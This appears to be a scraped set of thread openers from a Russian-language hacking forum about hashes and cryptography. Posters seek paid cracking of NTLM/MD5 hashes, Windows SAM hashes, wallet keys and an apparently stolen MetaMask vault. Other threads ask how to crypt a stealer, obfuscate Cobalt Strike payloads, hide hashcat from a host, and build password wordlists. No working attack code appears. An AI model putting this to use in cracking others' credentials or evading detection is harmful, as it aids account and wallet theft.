e4e9c107e5f28f83f14420776aaaa5efc7f62b950a0d169be13b59a687c9a76c
e516c096c51d78bb00bae1b8ddcc1edb1e13f82dc92d808952c8f3dc1f5a698d
e52017fb7d5ddb9a070237549668e68b838b4780a3f46340a812b099224461ae
e52480109236dbad9d86003b62f7a012f2a6061e51c8abb8480b7db9ce75a777
e58e5dfc7e4da020938ca0048e9f5bf3cdac5888294f4c81a308a446314857b4
e5c07f17b5d6a65ceadacab7162620cb54a875490b4f4866385c58f23359c37d
e747eb5874aee65a270f2bf702be59425eaa992960b34b6d5c9fd0d8402fedbd
e75bed66a99b0db3c56fb46217d191df97006d946ce84720ee51ebec75cb4185
e7e0956844611b8b054f4e2f7856a71d8d37d888310705d8c5fb470125ed9465
e936ac6a38b53fe2d2c5d8409ba2106735a1a327235221847264a3192d55201d
e937a8a589da5ce697e9f2fdbc60037b74b081d5177f6efbf77eda08c7bcc93b
e991a1e471c452c5f75c4f0965e1ebb627a6229c439914463b77bc63a385d37b
e99a8aabc1d1e4c84c14d595493181f655724eab047240c0ba8785322ca58dd8
e9b36397c4a50ceaca848070e5c411365dd81992d63115377bfd5fa1ba76f5a8
e9ea8c9afdb32448d863eebae220009eeb1b052ccdeba3ebda25e8192aa86f03
ea0633b6cbae3e1d79a2d26d1ddcd98426c35d34d3c70cf21d6582eb39e345bc
ea3f06669d894c6239b03d1ccf361a50b84a641038d1a85c317d56eabf5953d4
ea7a5b6909ad3bfbc37457b23c273a563d0a0d50e17ba43cdd07e80b578d4ece
eab8927808f2fd262c893d26df96a26c06520540bac17e29ebe371dba7564803
eb395c6ee2fc3ee4f92978ee14a340771c520bd1228c8922e03d8ffe8ff0cc79
eb58d73753e6965b84c3a0163a69e7accc8ceffc0620bf9fb3c8e05114bd77d7
eb779d34acfc0e67d12d4291e421b042e371c3977a2c24febdd4417d281a2d43
ebde9a173a505dac9dcc840b50643209e23f3a718c926f63b49db183f04c078f
ec0b749b686be9c66cd7b7f79419e53cdd11f02b6ad62b22417916fdf8d37cee
ec672046fdc0d9d9bc65b020703566d700172952c8efc458adf5f8a1e985a3e1
ed01de7838fc02d3df520f34f94492a6b57c1be3419b0dc80e5ff50d270c0c5a
ed1f0a01562e581490dc0bc94c6f551cb9177a5435870d1091c239cf2530cc94
ed2b8fa1ab7825da4fa4d31b2e1370b4c688b9c819f3638b8fb138ab12af67f4
ed3d2edd9ca4fe5116d13d0768e5c4feda99417b277270bedab79a5b91e2121c
ed57d9f3e73f9ec760519cc7ddf1055cdfa001d61584af450a0dad0ae42e9754
ee2b8403c0a0ddcf32eb6d04f348104547d5f8f691acb75412271601198d46e8
ee3561a0dbbd7c19142860db33a2efb8c014bc5ea06b7f8261c30f597f4f4e5b
eed421bf74a66a47ae51baef2dc48770b3ebbfebfe6ba6a724c2fbc8a71c2f0c
eed8f7747e4b62ce5843d2b1b522607557b54c34a59da0cf57250596011fcef7
eee155904a5bcd43eba1fc91790357153c4b4bea22c435a84e6ea3369a7ba9a0
efe85ff22b6e76e08000a8e8ca7c3901788f0493bc42f12496a4e84d804d3c5d
eff717435076ba18296a98f5520708cae18f486808ec11ceb392f11aec6e2208
f07c19217b59982d3dc9c7d2459b41813883f1c76dd2b8df3dc460deaa39d0d6
f081bdd9c7cb0befff4680eea60ac5c8dcfe7508e007a6cad766489fba89377f
f0880d121785ef90aa82f8ee25cf748a752d5e466011de4aa6d45910cff76df8
f0dfc11215026d74a7067b14872fbc1555e2d0d43aee5e10a945eb8cca195743
f10190fae5bc963f466e8d4170cebff7c53c499d8c1091cb142bfee98887c8a3
f131cd686099b33e25d1cb0dd697d3b0eb754b3141b52e845509496c55a3f452
f196c020047be91e81cf96c46c510f2cd1bddb50014318bd2c82586eccd0b3a2
f1b901351ce6fd014502148db67311a0462df7be7bc44e90822fb9aa2c5160df
f2289d4af54af5c069ebca35fbcbfab86ec643243a76ad18fe69f9ad432df950
f285792c9f9cd7ae28e00548fd33ce41e7ca686f5b2d7aae385d0d2588ae91c1
f2acd1b201dab27e14255080573a9bb170630e8a09d52abef63bba070cf566ad
f2b693dceb62007f03ac160a26f41a1211eaa2b8bbdfd172bb6c3a458e4e0ec1
f2ba452948826fd11b3b396049fff05152f2aae1c0be46dee001c20586d8fc6a
f2fd346ecaab0691b0e539fada3dbd9c6596c687260ea7edfe2d17f26f7535d1
f3eaf958ae5ee48cf87e3a2af97e85029311cdd0861879939cadc51230be5ba6
f439dbc544e1fbf9b2a6e42349303ecd7b8cef4bb36d93c651a31f1852bb9d2c
f49644a1521baa0928e0bb59fe4125332c19b8d3fa95ae3598cafb84c5479a69
f4c369aeb6a51cab7a97d643136c7eef74dbb235841f715c8154b07e3e59f188
f53646dbc8989986f0b8ebe4e787dc4e5bd8f71fa61a407cc9b8048735bf396f
f5765128ecfcf490abe9c8930a0908fc3c2570e635b3a3be5766a8f729e657b6
f578a51b10cf7e49ab1ea40be059fcaec4dd87192b1f4bf0657cae3c3c86d44a
f5935c8c51b8da8a4c67c17dee0207f744a5feff583d40aeaf11eaf1f94d8edb
f68405f168d23fe44a438fe2e82322a61969dbebceebf152c012e2ddb70114f5
f7a6cae9dc3a32f9b27f51e69447ec8eeadc8d2a8fec1e247f9dde3fc4fc8917
f7b7804bbdd7e0cc9445630cc9734e8a2c2d6e639c9374f5cbf5b2c7bfc88030
f7fa062f0fb3a1d6f27c5beb193110d025f939056e2f4ac9d8839fa195a443c9
f82ce7a4612a7f1ca78e775ae212da5133e7e4118bdc423bc01095e4c2161f22
f848503f00dccd2d41f171687d35e0a953e00f9f7bb9a84ed394f0977f8c3fa2
f87b5f99e8575c983321a4274aab985e8ea543b0757d8a3a5a6ab7c5fb47a8f6
f880e32a81e7197827dc6dd3886da11972cdafd08c5438da5c3d8b53efc6172e
f89d13f89f2d4426a041b671335f76cc0f702f7e77d58aa61a10cb3e3eff1d38
faa5df3c86476ea010dd9ef437b2d3bb133d9c8ff2b8ab61fd619d1decec023d
fab5ff4057389468aa4f34ac199eadef9c85d09c3d4ec4d365bee74ba9a68964
fae942a14509f14d78e60510e66959fff8caa1853830933c6e907644e5f9269d
fb1a7dabed7ad8fdd0e18309c8cc2456a2d5bcc1e7399707a6e4631d01d39626
fbb5689e5c7fcdfc048a896315c036e8eef0e32c3cc6acbcc23d623babffbffb
fbb89bfb714c6c066d48e52eb313c7b4f4567e513a7e8749acb634507c7fe17a
fbe88692ede638d6d1e8315b32cf228393b046a158e88141596794952ce64593
fc3330e5bd183ed6726b5da97d44e5d9e71443c835ae3f7aa780e6061fd020f6
fc854e817d23dbae85b0fe5d6c6aca8ce448236ab738e388068f4405223b2828
fc9ef5e85b03af6072abd0f8b11c0413ee4ba5c6a0cea9a3125fb06b2f770eec
fcb43fb7fd85171a20014e03bc5dd6c8a8f399401fc8cc154492ec819d090c8d
fcca058d0cf9e001c32dcf42874f998660fba8564d3b5374477dabc107575a94
fcd1890587333da222fe486ae44c5fc70e5de6cfa849ef7bc46d7abed641123f
fcdc73c50b47a6a01c93251285352718b757cb4aa8db7748bb5f2c16dc2d1366
fd205cf5b8a03611607c7d9126ba8de953dc1217d50ccccb63d413fbc9007f22
fd78cf8ce7f3187175cdf918fb31401b8198799c46e898d27781984b99501cf4
fd9a8011d8c2e1dfca2fd983dcd8924c1b06c629533ca3ca45bd7da1a2035cc0
fda127630861b4bc226387025592d6dc6be72c9fbf5c1ebf607315267ad831c0
fdb78abf7bce64e0668c8621b18a014123ebb6a35af3b6749dca22a4518f8b71
fdcc5ac842b3d24ca5321992c088e3e681bc040478f1448eccc69d369e8e0cbb
fdcfb083981dd6a119633fb59bdc58f0670110fa6fa02ffbea86d83ed729370a
fdee1be28ba9aa608385f93c8b7dc5713918d850c6755f8a49679af924376f5e
fe0defaa33d1c1bf3065bafce5fde01fa82b9a1e92ccec814e3910b1d3a30845
fe454b2d3f0794547bbf3d3305fe86cd819ef89290d138c4074a9e898babec5b
fe94e219ea55f157029d1bdf4dc0762a20bd30f7d67c0d2d749361023601dcc3
fecf33dee6470e3d20fc3c1e0007e877c157e53593801d39c69f22c074edf734
ff1e7cf97c100053141ea8d064cb84cc142eafccd490f8b614b0c97a6cc8311a
ffbca1680f090c9b969add8a87de3102168c496a7623805d133d1d250a418f66
ffed9c49537cdbf289f08074a84189ac9494b20716a06b2f5fce8cac204e7d91

Что за кодировка\хеш?
ID: 676536fbb4103b69df373832
Thread ID: 61609
Created: 2022-01-18T18:42:32+0000
Last Post: 2022-01-19T14:29:03+0000
Author: Coffe
Replies: 3 Views: 668

Сайт зашифровывает информацию, смотрю в коде элемента браузера. Реально расшифровать такое и если да, то где? Например тут зашифровано 9 цифр. Подскажите пожалуйста. Можем обсудить финансовый вопрос, если получится расшифровывать такое.
maskedNumber":"*****1184","encryptedNumber":"59006D00550035005A006A0046006B0059005400510078005A006A0055007A004E0044004E006C004D004A0053005200780074005000640061006A006B004200550043004600650065005000360042004100630041003D00"

Способы лицензирования софта
ID: 676536fbb4103b69df373727
Thread ID: 100801
Created: 2023-10-24T12:16:20+0000
Last Post: 2024-11-18T06:58:20+0000
Author: Сергей_Пантелеевич
Replies: 3 Views: 662

Добрый день! Имеется программа в виде .exe, написана на C# и скомпилирована в Visual Studio. Хочу этот софт продавать, в связи с чем возникло два вопроса:
1)Как можно лицензировать свой софт? Нужно сделать привязку по железу, чтобы софт нельзя было просто взять и перекинуть на другой компьютер без перепривязки (и следственно перепродавать программу). Ну и сами лицензии (к примеру логин-пароль), которые пользователь вводит при входе, посылая запрос на сервер с ключами и проверяя наличие активной лицензии
2)Как можно скрыть исходный код (C#) из скомпилированного файла .exe?
Заранее спасибо

pas.txt
ID: 676536fbb4103b69df373779
Thread ID: 99382
Created: 2023-10-04T12:14:21+0000
Last Post: 2023-10-04T12:24:08+0000
Author: Leonard123
Replies: 2 Views: 641

Всем привет. Есть текстовый файл, с паролями, подскажите пожалуйста, как проверить его на наличие повторяющихся строк и сохранить результат где нет повторений в отдельный текстовый файл?

[ECDH] Curve25519, ослабление криптосистемы ?
ID: 676536fbb4103b69df373778
Thread ID: 99087
Created: 2023-09-29T21:08:19+0000
Last Post: 2023-10-04T17:12:42+0000
Author: fadey_ldr
Replies: 2 Views: 624

Имеется криптосистема ECDH на Curve25519 для обмена ключами AES.
Сервер генерирует свои приват(d) и паблик(Q) ключи, отдает свой паблик ключ(Q) клиенту, от клиента получает паблик ключ клиента(Qp).
На основе (d, Q, Qp) генерирует общий секрет.
Клиент в свою очередь проделывает то же самое, и получает тот же самый секрет.
Этот общий секрет используется клиентом и сервером как ключ AES, для обмена парами ключей, которыми уже будут шифроваться сообщения.

Теперь вопрос, если клиент будет генерировать на каждое сообщения новую пару (d, Q) и передавать свой Q серверу, а сервер в свою очередь не будет генерировать новую пару, а использовать все время один и тот же серверный d и Q (для одного и того же клиента), в таком случае при генерации секрета на сервере будет всегда меняться Qp(паблик ключ клиента), но будет один и тот же Q, который передается клиенту.
Злоумышленник при перехвате будет обладать меняющимся Qp клиента и одинаковым Q сервера.
Ослабнет ли криптосистема, при достаточно большом числе сообщений, передаваемых таким образом ?
Условимся, что классический mitm, когда злоумышленник встраивается посередине на этапе установки соединения, будет неприменим, и взлом будет осуществлятся только анализом передаваемых Q, Qp и самих зашифрованных сообщений.

Алгоритм шифрования паролей в CrushFtp10
ID: 676536fbb4103b69df37373f
Thread ID: 122786
Created: 2024-09-15T22:08:36+0000
Last Post: 2024-09-16T00:55:02+0000
Author: DoomSlayer2002
Replies: 1 Views: 623

Попался такой сервак - у него там есть user.xml файлы в которых есть данные в виде:

base64string

Опытным путём выяснилось что под бейзом не плейнтекст пароль - может кто знаек каким алгосом краш шифрует пароли?

certbot
ID: 676536fbb4103b69df3737e8
Thread ID: 75744
Created: 2022-11-12T18:07:06+0000
Last Post: 2022-11-12T18:07:06+0000
Author: Antares
Replies: 0 Views: 622

Хочу увеличить стойкость криптографии на сервере для SSL сертификата. Использую certbot

root@dchub:~# openssl version
OpenSSL 3.0.2 15 Mar 2022 (Library: OpenSSL 3.0.2 15 Mar 2022)

Информация об открытом ключе
Алгоритм RSA
Размер ключа 2048

Алгоритм подписи SHA-256 with RSA Encryption

Hash SAM file
ID: 676536fbb4103b69df37376b
Thread ID: 102009
Created: 2023-11-10T14:36:11+0000
Last Post: 2023-12-06T16:03:38+0000
Author: Fireman112
Replies: 7 Views: 622

Привет всем, поможете с узнать пароль от винда 10, с помочю хешом?

Скачал все хеши. Загрузил сюда

__

[ hash-ASUS – Google Drive

](https://drive.google.com/drive/folders/19mRSGReFN- bfcF44VWwYqrVDBjAxSH7u?usp=sharing)

drive.google.com drive.google.com

Как и какими методами вы удаляете мусор из словарей?
ID: 676536fbb4103b69df373756
Thread ID: 108959
Created: 2024-02-24T12:43:16+0000
Last Post: 2024-02-24T17:02:37+0000
Author: TOPCHEK
Replies: 10 Views: 619

У каждого брутера есть своя подборка словарей.
Хотел бы поинтересоваться как и какими методами вы из своих словарей удаляете мусор. Кроме дубликатов.

Взлом кошелька XMR
ID: 676536fbb4103b69df373733
Thread ID: 124917
Created: 2024-10-16T13:09:58+0000
Last Post: 2024-10-16T13:20:26+0000
Author: forcexxl
Replies: 4 Views: 617

У меня есть .key, но для него нужен пароль. Я этого не понимаю, поэтому мне нужен кто-то, кто понимает лучше.

rockyou2023 - есть ли новости?
ID: 676536fbb4103b69df3737b5
Thread ID: 87634
Created: 2023-05-10T00:46:56+0000
Last Post: 2023-05-10T00:46:56+0000
Author: Marco_Polo
Replies: 0 Views: 616

народ, кто в теме, - есть ли анонсы выпуска легенды?

  • есть ли специалисты в области словарей и правил для хэшкэта?, с удовольствием обменяю мои битки на ваш результативный опыт
словари
ID: 676536fbb4103b69df37379b
Thread ID: 90806
Created: 2023-06-18T12:56:11+0000
Last Post: 2023-06-24T20:51:53+0000
Author: Super Crypt
Replies: 2 Views: 609

Поделитесь хорошими словарями для брута пожалуйста.

PAID DECRYPT HASH
ID: 676536fbb4103b69df373855
Thread ID: 54897
Created: 2021-08-05T16:09:12+0000
Last Post: 2021-08-25T01:50:12+0000
Author: bashbauer
Replies: 1 Views: 606

Ntlm:

md5: 097e4b18e54f3c4d467673a719e34bc3

sha1: 407868284b531d640c8c2647c136d08df6dde86c

40 $

hashcat
ID: 676536fbb4103b69df37377a
Thread ID: 99168
Created: 2023-10-01T09:20:22+0000
Last Post: 2023-10-01T18:57:34+0000
Author: Leonard123
Replies: 6 Views: 606

Всем привет, пытался запустить hashcat на сервере с видеокартой, но получил блокировку аккаунта, задал вопрос техподдержке, ответили что hahscat запрещён, есть какие то методы что бы спрятать этот инструмент?

What the crypt?
ID: 676536fbb4103b69df37384e
Thread ID: 56383
Created: 2021-09-07T15:07:19+0000
Last Post: 2021-09-13T19:41:57+0000
Author: AlexDev
Replies: 13 Views: 604

LFAOX1hwYa99MCBP45sYt5+TdrP8uXdouwL9wM9hvPjLA++0n4ht6TnBXPwIVVfHYIoeNLXn799cqBgOpJdaSbT+vgzh9ueyM3eTmZhGPQu9s6IvDWMp4UDsF2xnww7sRIo73LxN5wy2LAdEEvprfJ4wBp9BZs7/J+LU4MsvHu3SJSjR5EqoA2IWAbK1yBBxgMmwnKEzEJeNIIEs9m6d/QkuKHp9i88JBUiibxwcposf1ZtLO0ssUMo83Jj6wQ2bXZIpmt2jKidGo64ht4AQqKtbkYRtIF59I9Gij6lL3QEsmta0MyDGsXIWTgcttqnSLxG+UhxxrZWZij4AEYFDyQ==
Thx for the help.

В чем преимущество словарей?
ID: 676536fbb4103b69df373790
Thread ID: 92885
Created: 2023-07-13T22:37:10+0000
Last Post: 2023-07-15T03:30:15+0000
Author: HNH CRYPTO
Replies: 8 Views: 603

Всех приветствую, обьясните преимущество словарей, бручу по разному, но не понял в чем их прикол.
Использую разные аттаки. Вот допустим имеется 100кк строк с логов разного происхождения, имеется хэш, какой % что попадеться именно этот пароль в словаре? Маленький. Тогда почему их так хвалят?

Криптография и взлом шифров на Python (Книга)
ID: 676536fbb4103b69df3737f6
Thread ID: 72625
Created: 2022-09-03T11:08:34+0000
Last Post: 2022-09-03T11:08:34+0000
Author: Gufi
Prefix: Мануал/Книга
Replies: 0 Views: 601

Научитесь программировать на Python, создавая и взламывая шифры, с помощью которых пересылаются секретные сообщения! После знакомства с основами программирования на Python вы узнаете, как создавать, тестировать и взламывать классические шифры, включая перестановочный шифр и шифр Виженера.

Автор: Свейгарт Эл

![t.me](/proxy.php?image=https%3A%2F%2Fcdn4.telegram- cdn.org%2Ffile%2Fun3Av7B8vByOQx9aFjn42kecviQFofQRd8KJCdxPPQs-UDsRlBv- BbtwNpqiUMDiuWV61b64QgJebSh5LtImWcVtRPl9siJCKNbWreM1pfVK1btpkik1SOsSFM49hXFF7sRMzwGQU78aDyO8BlOT91DOgVaLIJMBOZ3vy4gWsSincsSPh1a-Qhj3GmDdiitjeUF2F_MT2Gz9tlwlt5VsUdTMe8bBi11LJPkgSM2E6Vviu5K7GyC7URqmtwWeLtM- ZPjkWFYTOW4DcisREFpLgkHZutHECyBYcagKWjYiy8_9PSQ8JgBhNBS-1vc9_Gpy8QnDpoXEx1u-e9d1Gd5New.jpg&hash=2653008aab95b4ebde883f8cccbfb931&return_error=1)

П | к (архив)

Криптография и взлом шифров на Python Автор: Свейгарт Эл

t.me t.me

Is limitchange.org a scam site?
ID: 676536fbb4103b69df373857
Thread ID: 55666
Created: 2021-08-21T21:31:45+0000
Last Post: 2021-08-23T08:56:43+0000
Author: moxmooy
Replies: 3 Views: 599

Hello guys, I was recommended to trade bitcoin on this site https://limitchange.org. But i am afraid it's a scam because it looks really crappy. Anybody knows abt it?

Как собрать свою базу Паролей?
ID: 676536fbb4103b69df37371a
Thread ID: 128446
Created: 2024-12-07T16:43:17+0000
Last Post: 2024-12-16T21:31:40+0000
Author: Focus17
Replies: 10 Views: 598

собс сабж

как вы собираете свои базы? как вы это делаете? откуда? какой вес ваших баз? стоит ли генерить?

Разгадка очень странной капчи
ID: 676536fbb4103b69df373751
Thread ID: 119908
Created: 2024-07-31T08:34:46+0000
Last Post: 2024-07-31T08:41:34+0000
Author: senegal55
Replies: 4 Views: 594

Кто нибудь сталкивался с похожими капчами? Голову сломал не понимаю как ее решить?

Снимок экрана 2024-07-31 в 11.30.03 AM.png

www.cmd5.org у кого есть хотяб пару покупок
ID: 676536fbb4103b69df373856
Thread ID: 55624
Created: 2021-08-21T02:32:52+0000
Last Post: 2021-08-23T20:31:51+0000
Author: Dook
Replies: 2 Views: 593

Напишите пожалуйста в личку к кому можно будет обратиться за расшифровкой пары хэшей NTLM

Чем можно очистить словарь от мусора (ссылки, почты, хэши...)?
ID: 676536fbb4103b69df373729
Thread ID: 126154
Created: 2024-11-03T19:05:51+0000
Last Post: 2024-11-09T17:32:33+0000
Author: M1les
Replies: 8 Views: 590

Собирал словарь и заметил, что часть строк представляют из себя ссылки, почты и даже несбрученные хэши. Проверять такие кандидаты нет смысла.

Созрел вопрос:какими способами можно очистить словарь из паролей от такого рода ненужных строк? Как при этом случайно не удалить нормальные пароли?

Обсуфикация полезной нагрузки
ID: 676536fbb4103b69df37385a
Thread ID: 54548
Created: 2021-07-29T08:41:41+0000
Last Post: 2021-07-29T08:41:41+0000
Author: Nietzsche9743
Replies: 0 Views: 590

Всем привет.
Тема такая ,с недавних пор начал изучать Cobalt Strike , и пришел к тому что нужно криптить полезную нагрузку.Есть маленькое понимание того , что делать, но не знаю с чего начать.
Вдруг у вас есть какие то полезные источники , материал для обучения и т.п. , который помог вам в процессе обучения)
Буду благодарен!

[HELP] Вскрыть кастомный сетевой протокол -- не могу преодолеть последний рубеж
ID: 676536fbb4103b69df37383c
Thread ID: 59352
Created: 2021-11-26T13:28:50+0000
Last Post: 2021-11-30T15:17:00+0000
Author: swagcat228
Replies: 10 Views: 579

Всем привет.

Реально, уже на грани истерики. Кто знает и/или желает помочь - прошу откликнуться.

Суть:

Есть клиент-серверное общение по tcp.
Меня интересует процесс авторизации клиента на сервере.
Топология авторизации примерно следующая:

клиент -> шлет на сервер (покрытую чем-то на подобе RC4 с захордкоженным одинаковым ключем у обоих) pdu-ху, в которой изъявляет свое желание авторизироваться и отправляет немного всякой байды, типа кодировки, локали и версии.
сервер -> Делает финт ушами. Генерирует некое нечто размером 0x20. отвечат в обратку таким же завернутым в RC4 pdu. После снятия этого rc4 в нем обнаруживается публичный RSA ключ + 0x20 рандомных байт.
клиент -> получает завернутый в rc4 pdu, снимает с него rc4. Находит там публичный RSA ключ. Импортирует его себе. делает, сцуко, финт ушами. Примерно после такого колл-трейса Impl_CCLRNGCtx_get()->sec_crypto_random_get()->sec_SecDRNG_get()->sec_SecDRNG_reseed()->block_cipher_derivation_function() на стеке появляется некое нечто размером 0x20 байт. Берет некое-нечто от сервера (0x20 рандомный байт) ксорит их со своим неким-нечто, делает еще финт ушами и формирует исходящую pdu из двух частей. Первая - это зашифрованная публичным RSA с сервера шлакоблочина размером 0x100. Вторая - это динамическая шлакоблочина размером от 0x110 и до +бесконечности с шагом в 0x10 покрытая AES256. Закутует все это в брезент из rc4 и отправляет на сервак.
сервер -> снимает брезент, там 2 шлакоблока. Первый я успешно распаковываю с помощью приватного RSA. Который, кстати, генерится индивидуально под каждый запрос авторизации. После распаковки в блоке на 0x100 появляется некое-нечто весом 0x20, остальное - нульбайты. И потом очередной финт ушами, и вместо кучи хлама на месте второго шлакоблока появляется клиартекст строка. В ней то, что я отправлял с клиента.

Под "неким-нечто" можно подразумевать вот такой вот колл-трейс:
1637932850559.png

Первое, о чем я подумал, что ну все логично и просто как двери. Сервак генирит пару RSA, и вектор для AES. Шлет на клиета, клиент генерит ключ для AES, покрывает этот ключ в RSA, кладет в качестве первого шлакоблока.
А в качестве второго шлакоблока едет уже покрытый AES-сом груз, где в качестве вектора - рандом с сервака, а в качестве ключа свой собственный рандом едущий в первом шлакоблоке под RSA.

Да талько вот не тут-то было. И близко ничего не получается. Как я не комбинировал их местами. Более того, шаг у второго блока - 0x10. значит и вектор должен быть 0x10 ? Поему тогда в два раза больше?
Более того, на клиенте некое нечто генерится посредством истеричного дергания ECB
1637933202073.png (лишь малая часть на скрине)

А на сервере декриптится все это посредством CBC.

Я уже во всех плоскостях это все смотрел на репите по 10 раз. И все равно не догоняю как.
Фух.

Заранее спасибо.

Кодировка vault metamask
ID: 676536fbb4103b69df373776
Thread ID: 100029
Created: 2023-10-13T20:45:58+0000
Last Post: 2023-10-27T11:16:15+0000
Author: Rodrigo4
Replies: 3 Views: 573

Столкнулся с проблемой, что кодировка метамаска в более новых версиях какая-то чуть битая:

$metamask$+32lwjn1lCzCEKfPmcIx1atZTyAKeT4//8mBEMwgTTw=$/kyiwD1KIafPKoHh6rXyTw==$a8EJM5i6tPY1yXPDvT77xrS5RfaBmhxGgx9K9srn4NtwqeOkJwbKBP52xmg6jyzR3VAO1Uu103Ev3nhlF7YpiHaWNV9T1hdZGa0QM9YHgx7Y5yTZowYar7TMZXeFjS8AEL3nZKdK/KEBw+cWgPvuvAWWPxFSx2FOaOhtrIprvQ3VRd9ILY5OFMI+TI7h+iG6diz1JyQ3LjFViM5xtw97Wu1V5bQqHq8yDUSIhboIMSUQE5Ri/duYuzhkcTeu5ZGDPyW1tp6O+al5fgDidBBC5bthbnqfZihVJPqOktKGvc6dSKUgOAWjAZ/smeixJqqAjfqz68TU0zeFbTDeZi+peof1gUNYxGbCc6/4Dq64kLUyAYvft4WQU30pDcwTKdnYdPk16g5v/AMhhQ28/q4HobVD+VCwLS6Zqd6kwesDgZC768/vhykYf1oVnGEMpWJUDUVu9PhwV75gxj��7�mavojzkPm0i1j9sdD4yDrzi0fEbyMDJaK72dd1+uznPPnUWGdMn/sxYkLlBH9++alZ

Как вы можете заметить, кодировка немного не та. Раньше такой проблемы не было, вход по файлам валид.

Интересный канал по криптографии
ID: 676536fbb4103b69df373831
Thread ID: 61746
Created: 2022-01-21T01:42:24+0000
Last Post: 2022-01-21T05:29:48+0000
Author: Alina_TwoSouls
Replies: 1 Views: 571

Нашла тут интересный канал по криптографии, возможно пригодится кому:

https://www.youtube.com/c/CryptFunIT/videos

Список закрытых видео:

mega.nz

[ MEGA

](https://mega.nz/#!cxl2waqC!yopwqFtaNDnlKGgR3lHIzm56HhrlU2tfMDfNd-PekiY)

MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 20GB now

mega.nz mega.nz

Советы по использованию hashcat
ID: 676536fbb4103b69df373717
Thread ID: 129077
Created: 2024-12-16T17:32:11+0000
Last Post: 2024-12-18T06:19:37+0000
Author: uzu
Replies: 16 Views: 570

После долгих (и бессмысленных) разговоров с ChatGPT, хотелось бы узнать ваше мнение

-Как лучше хранить базу для брута (1 очень большой файл или много мелких); Пока что я скачал 500гб различных паролей и не могу решить, как лучше
-Имеет ли скорость диска, где находится база, отношение к скорости брута?
-Почему в реальном подборе скорость может сильно отличаться от бенчмарка?

и подводя итог, стоит ли в разделе "взлом хешей" что то пытаться сбрутить имея общую мощность ~160GH на MD5?

Вопрос про популярные хеши (Hashcat)
ID: 676536fbb4103b69df373741
Thread ID: 122497
Created: 2024-09-11T07:54:15+0000
Last Post: 2024-09-11T11:56:24+0000
Author: Zabuza
Replies: 4 Views: 565

Подскажите имеет ли смысл брутить до 8 символов хеши вроде: krb, md5, ntlm, cms jts shop?
И как часто там попадаются более-менее человеческие (не генер) пароли? Имеет смысл по словарю гнать?

И еще, какой именно номер хеша имеют ввиду под cms (jtl shop)? CMS в хешкете много разных.

Подскажите способ крипта стиллера
ID: 676536fbb4103b69df3737ed
Thread ID: 74003
Created: 2022-10-06T00:45:29+0000
Last Post: 2022-10-06T09:50:43+0000
Author: sudobash
Replies: 1 Views: 565

Подскажите пожалуйста способ или готовый продукт для крипта стиллера. Заранее благодарен)

Можно ли сбрутить соль?
ID: 676536fbb4103b69df373769
Thread ID: 103569
Created: 2023-12-05T19:59:02+0000
Last Post: 2023-12-09T14:36:38+0000
Author: student
Replies: 2 Views: 564

Есть хэши. Более 3к. Но ни один не удалось сбрутить, походу нужна соль. Вопрос можно ее как-то перебрать?

Spoiler: hash

5f71658eef8226acc2890d61bee12d468fc026bb66a7639fe3c3dafd5096d52a
e0040c3eef3e65182ae458fbf08dbc061f86913dfef1f912c75fe967e4d4a82e
9aea6b69a2407cea20991d0db23de3c9362ce34d6bbce9ade284c30978df91b0
aab4a1caa07a122d184704647f3830a85463a0172e763b81e06cf0e600700574
5f2379e5d006f894a74448bba7635b2c1b4b75fd70243ba69b0ec3892b0b3437
58eaaf6c9e2778e51dddba7e20a848302b065cb44351ceff286c52a9e3e7439e
f779e5d8f940afb27fe83449f0331c112f0ba1cac5aff4b9811b66eb0d4a5584
1181020a9297b3fb407734bcbb3f698b694b8fba1e07a074179a9dca139f517a
1e705f111da83f138eb78963d10511f569209b99a7a452998fe61a9a9858bd43
6eefbd99e863da4f12e6cda20a5f05841819881e67b3e4955c5ebb5e48452c10
2ed5758892d00a1d2cfd1a2c30d50e16edbb5ca0295e9ef63cc627e1967c7096
c9d6994aea89bc1cccb4ea7c5f6818b261964a9f2d82ad3ecf232c60c939ae1a
6ff89d01892dd643a5f41aee002192355fb439166943cdb98a2b751af4e97ba6
5c7248bf00ad2078f7314e790ba4ce41c774a21ff619ee5e4a657b96065d740a
bebec45b2255e108c7d1c81e8d27a3f785da7cbcf426e5d39a9fda3da89c4edf
75c589338c96fc735d03f749ec859102d0dc54c640d9ab48032feb5557eab66b
9c9efbf70ddb9aaba9662e37ef8646d3009576ba8db7ea1cae23e2ee501d08cc
a0316e775b841a558119f8d709afefa53a677ee4987754e97e7154b94aac6f25
3754f7ebf41b36549803741c2a01d2f45b64f9f014cb8e2add91af93c284ef7d
01430895222903bfb8b67fcca1a18db54c9081457713d895882acaf71bd0f2bc
0eadc17eeff31e7942db452fffa8f46c33d7ef23e03f8c7bef96292edd181d0b
3ee4753e9b6d2240a35826e3f264f1eea6af70e50f2fe7e5faed4866b3afb9e0
bbb6ddf1025e149ab6debab23f12df4929de19673df94760e4be356db8d94b76
a77b8b13b5936451356cbda36bd7874e24f65970eeb6cf5a9b5adf8c53010c93
e75197bcf0765322688510c128cc9ff2db982a837a5985a57716ed45f3fb6f3d
e7dd75e40a1f80567918b40e2cd303a18a6bd1103ee601d394ddd3c902900204
0cda642a6c249d912b2d7c793572a61d6c4385666ce99a9b1634ba98f321130a
a622bf7875df8f3b15be20629b33e6c1d828bc92f632f57a8fad763b597e2699
e25edc1ce96c8c0eb868a551a310d940e072b95b7845656ab4170f465d2df8dc
99a48a248a054c5e77cf83efcce8e068b20887daa921bc32f29096731be059f5
d1b94177e78dde871e053dd231c7a78bd9449ccaf9f9bfb5eb05137dace6986d
6d1049bd5fe7c2d045d9bccfd5bddb124489f44e9d283ab5de6c5ddb33027b86
65d2d88c6dda8123bc1832f912da729adc86cad081ffe5a4fce4c5ee845b0e86
01a2dbea1f00af4ff4ea1ccbffb12ca52013d38ccbf1e9aa858e67c26b7f0516
cfe4b9e8409c015ecb075ccb08e7ff3491dfa3b769d49c9d7d4113282c3f9d4b
b3f88fb1a861950e6b30a56505b59b5a988079fc8a67ab51fb7806561c019c61
0f0ffda70aac08e2fbe1c4b19da64589e2084c180af5d518fb3666fb54467a20
7f10e7f3edd7b32f429062079c198504d012da908bc1acd43cccb4e4405b3d71
7b9aa8fd242db814fae5b83ff76d2f4d1495d2a6886404922f3e0b7321b483e8
1c09e57d107f134fdbc1e4bfe9aac2b0d9fbe8d7f981e9b1224bdfd40f19b84c
daf04fbb8d8c095a9f33507ca148160406c6c2c6e550e4aced75b5ace1606b60
0a3de1bf17ef75fdef38701d0cb62b3ded4242b70398d3f776a0f170bf03a868
